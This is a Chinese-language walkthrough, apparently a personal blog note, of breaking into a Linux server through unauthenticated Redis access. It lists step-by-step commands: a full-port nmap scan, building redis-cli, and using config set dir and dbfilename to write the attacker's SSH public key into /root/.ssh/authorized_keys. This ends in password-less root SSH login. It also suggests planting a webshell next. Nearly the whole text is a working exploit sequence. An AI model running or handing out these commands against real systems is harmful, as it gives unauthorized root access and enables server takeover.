参考:https://blog.csdn.net/guxiaoguo/article/details/78913245
利用条件:linux,对方开启ssh
用到的工具:kail nmap redis
公司测试服务器:10.0.3.45
redis默认端口:6379
主要思路:利用redis未授权访问命令给root账户写入SSH公钥文件,然后通过SSH登录服务器
nmap扫描
使用命令:nmap -sV -p 1-65535 10.0.3.45
-sV 识别服务,很有用
-p 1-65535 全端口扫描
发现6379端口开启
若kail上没有redis,可以先利用wget下载下来,并解压,我这里用的是2.8.12
下载命令:wget http://download.redis.io/releases/redis-2.8.12.tar.gz
解压命令:tar -xzf redis-2.8.12.tar.gz
到所在目录中安装:make
完成安装后会提醒:
换到此目录中:cd /root/redis-2.8.12/src
连接
命令:./redis-cli -h 10.0.3.45
可以通过info查看一些信息。
接下来写入ssh公钥
原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以再服务器端的/root/.ssh下生一个授权的key。
首先在自己的kail中生成一个key。
进入/root/.ssh目录:cd /root/.ssh
生成key命令:ssh-****** -t rsa
查看生成的文件
将公钥导入key.txt文件中(前后用\n换行,目的是避免和redis里的其他数据混合,造成乱码),再把key.txt文件内容写入目标主机的缓冲里:
命令:(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
此时切换回redis的目录,将key.txt文件内容写入到目标主机的缓冲中
cd /root/redis-2.8.12/src
cat /root/.ssh/key.txt | ./redis-cli -h 10.0.3.45 -x set xxx
连接目标主机的redis,设置redis的备份路径为/root/.ssh和保存文件名authorized_keys
连接目标主机命令:./redis-cli -h 10.0.3.45
设置备份路径:config set dir /root/.ssh
保存文件名:config set dbfilename authorized_keys
可以看到写入的公钥
get xxx
然后将数据保存在服务器硬盘中并退出
save
exit
此时用ssh远程连接:
命令:ssh 10.0.3.45
可以看到已经不用密码就可以远程登录了(在没有经过这些操作前,进入ssh是需要输入password的)
可以进入/root/.ssh目录,简单看一下authorized_keys的文件内容
还可以在web目录中写入webshell 连接菜刀(具体还没做,以后可以试试)